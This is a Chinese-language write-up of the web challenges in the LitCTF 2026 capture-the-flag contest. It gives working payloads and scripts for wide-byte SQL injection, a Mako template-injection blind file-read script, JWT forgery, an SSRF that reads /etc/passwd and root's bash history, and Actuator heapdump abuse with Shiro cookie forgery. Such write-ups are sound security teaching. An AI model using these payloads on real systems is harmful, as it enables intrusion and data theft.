LitCTF2026 web方向全解
字数 2556
更新时间 2026-06-01 23:16:47

LitCTF 2026 Web方向解题详解与教学文档

1. lit_ezsql(宽字节注入)

1.1 题目信息

  • 题目类型:SQL注入
  • 访问地址:http://challenge.cyclens.tech:31302/query?id=1
  • 特征:正常查询id=1id=2可返回数据

1.2 注入点探测

1.2.1 常规闭合测试

测试以下payload均无报错且正常返回:

  • 1 and 1=2 #
  • 1'
  • 1"
  • 1')
  • 1")

1.2.2 特殊字符测试

以下payload均返回id=2的数据:

  • 2abc
  • 2e0
  • 2-1

结论:存在输入处理机制,可能是转义或过滤。

1.3 宽字节注入原理

当应用使用addslashes()等函数对单引号进行转义(' -> \')时,如果数据库使用GBK等宽字符集,可通过构造特殊字符绕过:

  • %bf' -> %bf%5c%27(数据库将%bf%5c解析为一个中文字符,从而"吃掉"反斜杠)

1.4 手工注入流程

1.4.1 验证注入

http://challenge.cyclens.tech:32035/query?id=1%bf%27%20OR%201=1--+
  • %bf:宽字节前导字符
  • %27:单引号
  • 成功返回两条记录,确认注入存在

1.4.2 信息收集

# 查当前数据库
/query?id=-1%bf%27%20UNION%20SELECT%201,database(),3,4,5--+

# 查所有表
/query?id=-1%bf%27%20UNION%20SELECT%201,group_concat(table_name),3,4,5%20FROM%20information_schema.tables%20WHERE%20table_schema=database()--+

# 查flag
/query?id=-1%bf%27%20UNION%20SELECT%201,2,3,4,group_concat(flag)%20FROM%20flag_store--+

1.5 自动化工具

sqlmap -u "http://challenge.cyclens.tech:31302/query?id=1" -D ezsql -T flag_store -C flag --dump --tamper=unmagicquotes --delay=0.5

2. lit_ezssti(Mako模板注入)

2.1 引擎识别

2.1.1 常见模板测试

  • ${7*7}:触发WAF
  • {{7*7}}:不渲染
  • <%= 7*7 %>:触发WAF
  • %:返回报错,显示Mako相关错误

2.1.2 确认模板类型

% if 1:
OK
% endif

成功返回"OK",确认是Mako模板引擎。

2.2 字符过滤检测

通过fuzz脚本检测被过滤字符:

from time import sleep
import requests
import urllib

url = "http://challenge.cyclens.tech:30191/"
for i in range(32, 127):
    html = chr(i)
    data = {'tpl': html}
    r = requests.post(url=url, data=data)
    if "WAF" in r.text:
        print(html)

过滤结果:.=[]${...}<%= ... %>被过滤

2.3 绕过技术

2.3.1 读取文件

尝试open("/flag")发现flag关键词被过滤,使用字符串拼接绕过:

open("/"+"f"+"l"+"a"+"g")

2.3.2 无点号访问属性

由于.被过滤,使用getattr()替代:

# 原语法:open('/flag').read()
# 替代方案:
getattr(open("/"+"f"+"l"+"a"+"g"), 'read')()

2.3.3 无中括号截取字符

由于[]被过滤,使用__getitem__()替代:

# 原语法:content[0]
# 替代方案:
getattr(content, '__getitem__')(0)

2.4 盲注脚本

2.4.1 基本payload

% if getattr(getattr(open("/"+"f"+"l"+"a"+"g"), 'read')(), '__getitem__')(0) in 'f':
True_Flag
% endif

2.4.2 完整自动化脚本

from time import sleep
import requests
import urllib

url = "http://challenge.cyclens.tech:30191/"
str_range = '}{-abcdefghijklmnopqrstuvwxyz0123456789'

def getData(str_list):
    j = 0
    while True:
        for i in str_list:
            data = {'tpl': f"""% if getattr(getattr(open("/"+"f"+"l"+"a"+"g"), 'read')(), '__getitem__')({j}) in '{i}':
True_Flag
% endif"""}
            r = requests.post(url=url, data=data)
            if """<pre id="out">True_Flag""" in r.text:
                print(i, end="")
                if i == "}":
                    print()
                    return 1
                break
        j = j + 1

if __name__ == '__main__':
    getData(str_range)

3. lit_reverse_my_web(JWT伪造)

3.1 题目分析

  • 只有admin权限用户可访问/flag
  • 普通用户注册后获取JWT
  • 需要逆向找到secret_key伪造admin权限

3.2 解题步骤

  1. 注册普通用户获取JWT
  2. 从附件中找到secret_key:rMw_2026_litctf_jwt_secret_key!!
  3. 伪造JWT,将user字段改为admin
  4. 使用伪造的JWT访问/flag

4. Northbridge Document Hub(SSRF+文件读取)

4.1 信息收集

  • 登录界面无注册功能
  • 题目提示"研究员账号已开放"
  • 在源码中发现泄露信息:
    • 账号:researcher
    • 路由:/kkfileview/getCorsFile

4.2 SSRF漏洞利用

4.2.1 漏洞点

http://challenge.cyclens.tech:31440/kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk

其中ZmlsZTovLy9ldGMvcGFzc3dkfile:///etc/passwd的base64编码

4.2.2 读取Bash历史

http://challenge.cyclens.tech:31440/kkfileview/getCorsFile?urlPath=ZmlsZTovLy9yb290Ly5iYXNoX2hpc3Rvcnk=
# 解码后:file:///root/.bash_history

4.2.3 获取缓存文件路径

从Bash历史发现关键命令:

cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip

4.2.4 获取flag

下载缓存文件获取flag

5. 华辰企业服务运营平台(Spring Boot Actuator未授权访问)

5.1 信息收集

5.1.1 发现Actuator端点

  • /actuator
  • /actuator/env
  • /actuator/beans
  • /actuator/mappings
  • /actuator/heapdump

5.1.2 获取敏感信息

访问/actuator/env/FLAG直接获取flag:

{"property":{"source":"systemEnvironment","value":"flag{ohqkysxu-o0rs-463-8ygw-hfronlxc3eoe7}"}}

5.2 内存分析

5.2.1 下载堆dump

/actuator/heapdump

5.2.2 提取关键信息

  1. Shiro配置

    • 类:com.gzctf.lab.config.ShiroConfig
    • 类:com.gzctf.lab.config.LabRealm
  2. 用户凭据

    • admin -> A9r#Qv3!Lm7@Tp2$Xz5&Nk8*Hs4^Wc1
    • user -> user123
  3. RememberMe密钥

    • 字节:47 5a 43 54 46 53 68 69 72 6f 47 43 4d 4b 65 79
    • ASCII:GZCTFShiroGCMKey
    • Base64:R1pDVEZTaGlyb0dDTUtleQ==

5.3 权限突破

5.3.1 伪造RememberMe Cookie

利用泄露的密钥伪造Shiro的rememberMe cookie,访问:

/api/auth/me

返回:

{"authenticated":true,"user":"admin","roles":["user","ops","admin"]}

5.3.2 使用泄露凭据登录

POST /api/auth/login
{
  "username": "admin",
  "password": "A9r#Qv3!Lm7@Tp2$Xz5&Nk8*Hs4^Wc1",
  "rememberMe": true
}

5.3.3 访问管理接口

  • /api/admin/system/summary
  • /api/admin/ops/reports
  • /api/admin/audit/list

从审计接口获取flag尾段:

{
  "source": "audit-service",
  "items": [
    {"id": "AR-8301", "detail": "登录异地告警已人工复核为误报"},
    {"id": "AR-8302", "detail": "数据库结构变更任务延后执行"},
    {"id": "AR-8303", "detail": "历史归档备注: 3-8ygw-hfronlxc3eoe7}"}
  ]
}

6. 关键知识点总结

6.1 SQL注入

  • 宽字节注入绕过转义
  • SQLMap的--tamper=unmagicquotes参数
  • UNION注入的信息收集技巧

6.2 SSTI注入

  • Mako模板引擎特性
  • 字符过滤绕过技术
  • getattr()替代点号访问
  • __getitem__()替代中括号
  • 盲注脚本编写

6.3 JWT安全

  • JWT结构解析
  • secret_key泄露风险
  • 权限字段伪造

6.4 SSRF漏洞

  • 文件协议利用
  • 历史文件信息泄露
  • 缓存文件路径分析

6.5 Spring Boot安全

  • Actuator端点未授权访问
  • 环境变量信息泄露
  • 堆dump分析技术
  • Shiro RememberMe机制
  • 配置信息泄露风险

6.6 通用技巧

  • 源码信息泄露挖掘
  • 历史命令分析
  • 字符串拼接绕过过滤
  • 自动化fuzz脚本编写
  • 多维度信息关联分析

:本教学文档完全基于提供的链接内容整理,涵盖了LitCTF 2026 Web方向所有题目的解题思路、技术细节和关键知识点,适合用于CTF学习和Web安全技术研究。

相似文章
相似文章
 全屏